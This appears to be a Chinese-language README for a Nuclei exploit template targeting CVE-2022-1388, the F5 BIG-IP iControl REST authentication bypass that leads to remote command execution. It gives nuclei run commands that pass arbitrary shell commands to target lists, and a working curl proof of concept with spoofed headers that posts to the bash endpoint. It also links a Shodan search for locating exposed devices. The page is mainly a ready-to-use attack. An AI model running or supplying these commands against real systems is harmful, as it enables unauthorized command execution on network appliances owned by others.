Nuclei 模板：利用 F5 BIG-IP iControl REST 认证绕过实现 RCE | 命令参数

CVE-2022-1388 是 BIG-IP iControl API 的 REST 组件中的一个认证绕过漏洞，其 CVSSv3 评分为 9.8。iControl REST API 用于 BIG-IP 设备的管理和配置。CVE-2022-1388 可被未认证的攻击者利用，只要攻击者具备访问使用 BIG-IP 设备的管理端口或 self IP 地址的网络访问权限。成功利用该漏洞后，攻击者可以执行任意系统命令、创建和删除文件以及禁用服务。

该模板使用 token-spray / nuclei 的 CLI 变量

该 nuclei 模板接受用于漏洞利用的 shell 参数。 我们想要测试从其他工作流或手动搜索中获取的令牌，因此我们使用 nuclei 的 CLI 变量功能，在运行时动态地向这些模板提供单个令牌值或令牌列表。

-V, -var value custom vars in var=value format

nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=commands.txt
nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=uname -a

手动 PoC

curl -su admin \ 
-H "Host: localhost:8100" \ 
-H "Content-Type: application/json" \ 
-H "Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: a" \ 
-H "Authorization: Basic YWRtaW46" \
 http://{{TARGET_IP}}/mgmt/tm/util/bash \
-d '{"command":"run","utilCmdArgs":"-c id"}'

其他详细信息

• https://www.shodan.io/search?query=http.title%3A%22BIG-IP%26reg%3B-+Redirect%22

参考资料

• https://blog.projectdiscovery.io/nuclei-v2-5-release/
• https://clouddocs.f5.com/products/big-iq/mgmt-api/v5.4/ApiReferences/bigiq_api_ref/r_auth_login.html
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-1388
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
• https://github.com/alt3kx/CVE-2022-1388_PoC
• https://github.com/dorkerdevil/CVE-2021-22986-Poc/blob/main/README.md
• https://github.com/horizon3ai/CVE-2022-1388/blob/main/CVE-2022-1388.py
• https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.y
• https://github.com/tenable/audit_files/tree/master/cve-2022-1388
• https://support.f5.com/csp/article/K23605346
• https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html
• https://twitter.com/1ZRR4H/status/1522165718975922178
• https://www.tenable.com/blog/cve-2022-1388-authentication-bypass-in-f5-big-ipaml